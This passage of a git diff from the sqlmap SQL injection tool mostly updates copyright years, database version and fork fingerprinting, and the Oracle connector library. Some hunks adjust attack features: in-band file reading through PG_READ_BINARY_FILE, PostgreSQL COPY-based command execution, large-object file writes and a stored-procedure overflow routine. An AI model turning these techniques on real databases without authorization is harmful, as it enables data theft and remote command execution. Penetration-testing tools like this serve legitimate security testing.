b/plugins/dbms/mssqlserver/syntax.py index dad14e4a489..183ce9462c9 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 58cf875ada5..23a10b318a4 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -61,7 +61,7 @@ def spHeapOverflow(self): break if not addrs: - errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg = "sqlmap cannot exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 04a2bdabb1e..21e2f4550b0 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 41590b8d70a..bfa87d4239c 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 8e9d81f7d7d..129b1e6106a 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index e72cbcba3db..f8c83be25ef 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -79,7 +79,7 @@ def stackedReadFile(self, remoteFile): if length > chunkSize: result = [] - for i in xrange(1, length, chunkSize): + for i in xrange(1, length + 1, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d1df204e2d9..e3fcb1cf6fa 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -45,13 +45,24 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ versions = ( - (80000, 80029), # MySQL 8.0 + (90600, 90601), # MySQL 9.6 + (90500, 90501), # MySQL 9.5 + (90400, 90401), # MySQL 9.4 + (90300, 90301), # MySQL 9.3 + (90200, 90201), # MySQL 9.2 + (90100, 90101), # MySQL 9.1 + (90000, 90002), # MySQL 9.0 + (80400, 80409), # MySQL 8.4 + (80300, 80301), # MySQL 8.3 + (80200, 80201), # MySQL 8.2 + (80100, 80101), # MySQL 8.1 + (80000, 80043), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50739), # MySQL 5.7 + (50700, 50745), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 - (50100, 50175), # MySQL 5.1 + (50100, 50174), # MySQL 5.1 (50000, 50097), # MySQL 5.0 (40100, 40131), # MySQL 4.1 (40000, 40032), # MySQL 4.0 @@ -96,6 +107,10 @@ def getFingerprint(self): fork = FORK.DRIZZLE elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Doris%'"): + fork = FORK.DORIS + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): + fork = FORK.STARROCKS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: @@ -175,13 +190,13 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") + result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") if not result: # Note: MemSQL doesn't support SESSION_USER() @@ -201,8 +216,14 @@ def checkDbms(self): kb.data.has_information_schema = True + # Determine if it is MySQL >= 9.0.0 + if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + Backend.setVersion(">= 9.0.0") + setDbms("%s 9" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 8.0.0 - if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 57399752c62..fefe4d88b1a 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 31033cca4f0..81851506412 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 292727d1d57..cedb15250e4 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 18a70076c0a..550a413055c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,18 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: - import cx_Oracle -except: + import oracledb +except ImportError: pass import logging import os -import re from lib.core.common import getSafeExString from lib.core.convert import getText @@ -25,32 +24,34 @@ class Connector(GenericConnector): """ - Homepage: https://oracle.github.io/python-cx_Oracle/ - User https://cx-oracle.readthedocs.io/en/latest/ - API: https://wiki.python.org/moin/DatabaseProgramming - License: https://cx-oracle.readthedocs.io/en/latest/license.html#license + Homepage: https://oracle.github.io/python-oracledb/ + User: https://python-oracledb.readthedocs.io/en/latest/ + License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ def connect(self): self.initConnection() - self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) - self.__dsn = getText(self.__dsn) + + # Fetch CLOB/BLOB values directly as str/bytes instead of oracledb.LOB objects; otherwise a LOB cell + # reached the renderer as the repr '<oracledb.LOB object at 0x...>' (BLOB bytes are then hex-encoded + # by direct()'s binary handling). + try: + oracledb.defaults.fetch_lobs = False + except AttributeError: + pass + self.user = getText(self.user) self.password = getText(self.password) try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) + dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: - if "Oracle Client library" in getSafeExString(ex): - msg = re.sub(r"DPI-\d+:\s+", "", getSafeExString(ex)) - msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) - msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) - raise SqlmapConnectionException(msg) - + except oracledb.DatabaseError: + # Try again without SYSDBA try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) + except oracledb.DatabaseError as ex: raise SqlmapConnectionException(ex) self.initCursor() @@ -59,7 +60,7 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError as ex: + except oracledb.InterfaceError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None @@ -69,11 +70,10 @@ def execute(self, query): try: self.cursor.execute(getText(query)) retVal = True - except cx_Oracle.DatabaseError as ex: + except oracledb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() - return retVal def select(self, query): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 038fe84a71f..96b1a262cd2 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index d0df7efac86..258a79147cb 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -31,25 +31,24 @@ def readFile(self, remoteFile): payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) - for remoteFile in remoteFile.split(','): - if not kb.bruteMode: - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) - kb.fileReadMode = True - fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) - kb.fileReadMode = False + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False - if not isNoneValue(fileContent): - fileContent = decodeDbmsHexValue(fileContent, True) + if not isNoneValue(fileContent): + fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent.strip(): - localFilePath = dataToOutFile(remoteFile, fileContent) - localFilePaths.append(localFilePath) + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + localFilePaths.append(localFilePath) - elif not kb.bruteMode: - errMsg = "no data retrieved" - logger.error(errMsg) + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) return localFilePaths diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 370d4540895..5eacf432461 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,10 +9,14 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject @@ -23,6 +27,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): + fork = FORK.DM8 + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -39,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.ORACLE + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -57,6 +73,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -105,7 +124,7 @@ def checkDbms(self): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 789a59bce6a..ef06da6c83b 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,6 +16,8 @@ def escape(expression, quote=True): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 44aa5bfd94d..6bc5cd16a24 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index b27b9463b5d..68ea7cb1f7c 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 15a2b48e358..33923e8f1d5 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -34,7 +34,7 @@ def connect(self): try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError as ex: + except (psycopg2.OperationalError, UnicodeDecodeError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') @@ -55,7 +55,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + # Note: also catch DataError/IntegrityError (e.g. division-by-zero, bad cast, unique violation from a + # user '--sql-query') so the commit() below still runs and clears the aborted transaction; otherwise + # PostgreSQL poisons every later query with 'InFailedSqlTransaction' and silently returns None + except (psycopg2.OperationalError, psycopg2.ProgrammingError, psycopg2.DataError, psycopg2.IntegrityError) as ex: logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index f3ced41640b..181384becbc 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 3f1e0eb364e..9c3bdb385eb 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,6 +11,7 @@ from lib.core.compat import xrange from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject @@ -32,6 +33,15 @@ def stackedReadFile(self, remoteFile): return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read + # files in-band via pg_read_binary_file(), so file reading does not require stacked queries + return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" @@ -65,7 +75,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT ARRAY_TO_STRING(ARRAY_AGG(%s), '') FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 3c3f2433e9e..20eed02a917 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -41,6 +41,8 @@ def getFingerprint(self): fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 fork = FORK.YUGABYTEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): + fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: @@ -131,9 +133,15 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): + Backend.setVersion(">= 17.0") + elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 15.0") + elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): Backend.setVersion(">= 14.0") - elif inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"): + elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): Backend.setVersion(">= 13.0") elif inject.checkBooleanExpression("SINH(0)=0"): Backend.setVersion(">= 12.0") diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index face3ba0d64..f730a800107 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 1fa684e4aa7..ee9b70f345e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -17,6 +17,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -100,7 +101,7 @@ def uncPathRequest(self): def copyExecCmd(self, cmd): output = None - if isStackingAvailable(): + if isStackingAvailable() or conf.direct: # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py index 94c74be1bd1..4fe48fc89ac 100644 --- a/plugins/dbms/presto/__init__.py +++ b/plugins/dbms/presto/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py index 48473ad0216..f190c7ce2ea 100644 --- a/plugins/dbms/presto/connector.py +++ b/plugins/dbms/presto/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 9dcf092f3bc..5843d9e521a 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,15 +9,8 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def getBanner(self): - warnMsg = "on Presto it is not possible to get the banner" - logger.warning(warnMsg) - - return None - - def getCurrentDb(self): - warnMsg = "on Presto it is not possible to get name of the current database (schema)" - logger.warning(warnMsg) + # NOTE: getBanner()/getCurrentDb() are intentionally NOT overridden - modern Presto/Trino expose + # version() and current_schema (wired in queries.xml), so the generic implementations work. def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py index 67633823884..33793a67f47 100644 --- a/plugins/dbms/presto/filesystem.py +++ b/plugins/dbms/presto/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index 4a531fedb92..4b6cd9e8b39 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import PRESTO_ALIASES from lib.request import inject @@ -21,6 +25,18 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PRESTO) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + # Trino (the PrestoSQL fork) exposes functions PrestoDB never added (e.g. SOUNDEX), + # so a NULL-based probe on one of them distinguishes the fork from the original. + if inject.checkBooleanExpression("SOUNDEX(NULL) IS NULL"): + fork = FORK.TRINO + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PRESTO + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -55,6 +73,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py index b6b6c633dc8..7ba5c8b9f38 100644 --- a/plugins/dbms/presto/syntax.py +++ b/plugins/dbms/presto/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py index bc0758f42df..ab6233905d6 100644 --- a/plugins/dbms/presto/takeover.py +++ b/plugins/dbms/presto/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py index 2843bbabc58..ab55bcffd6c 100644 --- a/plugins/dbms/raima/__init__.py +++ b/plugins/dbms/raima/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/connector.py 